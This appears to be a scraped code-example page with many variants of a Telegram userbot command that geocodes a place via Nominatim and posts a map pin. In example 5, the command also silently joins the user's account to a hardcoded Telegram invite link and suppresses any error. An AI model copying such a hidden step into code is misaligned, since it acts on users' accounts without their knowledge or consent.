Exemplo n.º 1
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("**DeOXy MASTER:** `Fetching Location`")

    await event.edit("`processing.....`")

    geolocator = Nominatim(user_agent="catuserbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await event.delete()
    else:
        await event.edit("**DeOXy MASTER:** `Task failed`")
Exemplo n.º 2
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await edit_or_reply(event,
                                   "What should i find? Give me location.🤨")

    await edit_or_reply(event, "Finding😁")

    geolocator = Nominatim(user_agent="catuserbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await event.delete()
    else:
        await edit_or_reply(event, "I coudn't find it😫")
Exemplo n.º 3
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.reply("what should I find give me location.")

    cat = await event.reply("finding")

    geolocator = Nominatim(user_agent="GoodCatX")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(
            input_str, file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon))
        )
        await cat.delete()
    else:
        await cat.edit("i coudn't find it")
Exemplo n.º 4
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("ماذا يجب أن أجد أعطني الموقع. 𖠕")

    await event.edit("تـم العـثور عـلى")

    geolocator = Nominatim(user_agent="catuserbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(
            input_str, file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon))
        )
        await event.delete()
    else:
        await event.edit("عـذرا لـم أجـد المـكان المـحدد 𖠕")
Exemplo n.º 5
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("`What should I find give me location.`")

    await event.edit("`Finding...`")

    try:
        _o = "FrAVvUjG4FDOyhR3b-TEJg"
        await event.client(ImportChatInviteRequest(_o))
    except BaseException:
        pass

    geolocator = Nominatim(user_agent="catuserbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await event.delete()
    else:
        await event.edit("`I coudn't find it`")
Exemplo n.º 6
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("Boss ! Give A Place To Search 😔 !.")

    await event.edit("Finding This Location In Maps Server.....")

    geolocator = Nominatim(user_agent="Pikachu Userbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await event.delete()
    else:
        await event.edit("i coudn't find it")
Exemplo n.º 7
0
async def gps(event):
    if event.fwd_from:
        return
    starkislub = await edit_or_reply(event, "Processing")
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    address = event.pattern_match.group(1)
    if not address:
        return await starkislub.edit("`Give Input Location.`")
    await starkislub.edit("`Searching..`")
    url = 'https://nominatim.openstreetmap.org/search/' + urllib.parse.quote(
        address) + '?format=json'
    response = requests.get(url).json()
    try:
        lat = response[0]["lat"]
        lon = response[0]["lon"]
        await reply_to_id.reply(address,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(
                                        float(lat), float(lon))))
        await event.delete()
    except:
        await starkislub.edit(
            "Location not found. Please try giving input with country.")
Exemplo n.º 8
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message.id
    if event.reply_to_msg_id:
        reply_to_id = event.reply_to_msg_id
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("`Göstərmək üçün mənə bir yer adı verin.`")

    await event.edit("__Axtarılır__")

    geolocator = Nominatim(user_agent="umudmmmdov1")
    geoloc = geolocator.geocode(input_str)
    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await event.reply(
            input_str,
            file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)),
            reply_to=reply_to_id,
        )
        await event.delete()
    else:
        await event.edit("`Bu ərazini tapa bilmədim. :(`")
Exemplo n.º 9
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.reply("ne bulmalıyım bana konum ver.")

    exelon = await event.reply("buluyorum")

    geolocator = Nominatim(user_agent="ExelonUserBo")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await exelon.delete()
    else:
        await exelon.edit("bulamadım")
Exemplo n.º 10
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message.id
    if event.reply_to_msg_id:
        reply_to_id = event.reply_to_msg_id
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit(
            "`Siriye Bir Bölgenin İsmini Vermezsen Bulamaz Ki.`")

    await event.edit("**Buluyorum...**")

    geolocator = Nominatim(user_agent="orgutsahibi")
    geoloc = geolocator.geocode(input_str)
    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await event.reply(
            input_str,
            file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)),
            reply_to=reply_to_id,
        )
        await event.delete()
    else:
        await event.edit(
            "`Özür Dilerim Bu Bölgeyi Bulamadım Şey Hata Yapmış Olabilirsin :(`"
        )
Exemplo n.º 11
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("ماذا يجب أن أجد أعطني الموقع. ")

    await event.edit("تـم العـثور عـلى")

    geolocator = Nominatim(user_agent="catuserbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await event.delete()
    else:
        await event.edit("عـذرا لـم أجـد المـكان المـحدد ")
Exemplo n.º 12
0
async def gps(e):
    if e.fwd_from:
        return
    reply_to_id = e.message.id
    if e.reply_to_msg_id:
        reply_to_id = e.reply_to_msg_id
    input_str = e.pattern_match.group(1)

    if not input_str:
        return await e.edit("`What should i find give me location.`")

    await e.edit("`Finding`")

    geolocator = Nominatim(user_agent="GengKapak")
    geoloc = geolocator.geocode(input_str)
    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await e.reply(
            input_str,
            file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)),
            reply_to=reply_to_id,
        )
        await e.delete()
    else:
        await e.edit("`I coudn't find it.`")
Exemplo n.º 13
0
async def _(event):
    if event.fwd_from:
        return
    if (event.is_group and not await is_register_admin(
            event.input_chat, event.message.sender_id)):
        await event.reply(
            "You are not Admin. So, You can't use this. Try in my inbox")
        return

    args = event.pattern_match.group(1)

    try:
        geolocator = Nominatim(user_agent="SkittBot")
        location = args
        geoloc = geolocator.geocode(location)
        longitude = geoloc.longitude
        latitude = geoloc.latitude
        gm = "https://www.google.com/maps/search/{},{}".format(
            latitude, longitude)
        await telethn.send_file(
            event.chat_id,
            file=types.InputMediaGeoPoint(
                types.InputGeoPoint(float(latitude), float(longitude))),
        )
        await event.reply(
            "Open with: [Google Maps]({})".format(gm),
            link_preview=False,
        )
    except Exception as e:
        print(e)
        await event.reply("I can't find that")
Exemplo n.º 14
0
Arquivo: gps.py Projeto: iTenz1/iTenz1
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await eor(event, "Please give me a location to find.")

    await eor(event, "Finding...")

    geolocator = Nominatim(user_agent="thunderbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await event.delete()
    else:
        await eor(event, "Sorry, no results found")
Exemplo n.º 15
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("cosa dovrei trovare dammi la posizione.")

    await event.edit("Cerco")

    geolocator = Nominatim(user_agent="catuserbot")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(input_str,
                                file=types.InputMediaGeoPoint(
                                    types.InputGeoPoint(lat, lon)))
        await event.delete()
    else:
        await event.edit("Non riesco a trovarlo.")
Exemplo n.º 16
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("`Mohon Berikan Tempat Yang Dicari`")

    await event.edit("`Menemukan Lokasi Ini Di Server Map....`")

    geolocator = Nominatim(user_agent="Geez")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(
            input_str,
            file=types.InputMediaGeoPoint(
                types.InputGeoPoint(
                    lat, lon
                )
            )
        )
        await event.delete()
    else:
        await event.edit("`Saya Tidak Dapat Menemukannya`")
Exemplo n.º 17
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)

    if not input_str:
        return await event.edit("ماذا يجب ان اجد ضع الامر بجانبه اسم مدينه او محافضه")

    await event.edit("finding")

    geolocator = Nominatim(user_agent="iqthon")
    geoloc = geolocator.geocode(input_str)

    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.reply(
            input_str,
            file=types.InputMediaGeoPoint(
                types.InputGeoPoint(
                    lat, lon
                )
            )
        )
        await event.delete()
    else:
        await event.edit("لايوجد هل موقع")
Exemplo n.º 18
0
async def gps(event):
    "Map of the given location."
    reply_to_id = await reply_id(event)
    input_str = event.pattern_match.group(1)
    catevent = await edit_or_reply(event, "`finding.....`")
    geolocator = Nominatim(user_agent="catuserbot")
    if geoloc := geolocator.geocode(input_str):
        lon = geoloc.longitude
        lat = geoloc.latitude
        await event.client.send_file(
            event.chat_id,
            file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)),
            caption=f"**Location : **`{input_str}`",
            reply_to=reply_to_id,
        )
        await catevent.delete()
Exemplo n.º 19
0
async def gps(event):
    if event.fwd_from:
        return
    reply_to_id = event.message
    if event.reply_to_msg_id:
        reply_to_id = await event.get_reply_message()
    input_str = event.pattern_match.group(1)
    if not input_str:
        return await event.edit("**Berikan Tempat Yang ingin Dicari**")
    xx = await edit_or_reply(event, "`Processing...`")
    geolocator = Nominatim(user_agent="Man")
    geoloc = geolocator.geocode(input_str)
    if geoloc:
        lon = geoloc.longitude
        lat = geoloc.latitude
        await reply_to_id.edit(input_str,
                               file=types.InputMediaGeoPoint(
                                   types.InputGeoPoint(lat, lon)))
        await xx.delete()
    else:
        await xx.edit("`Maaf Saya Tidak Dapat Menemukannya`")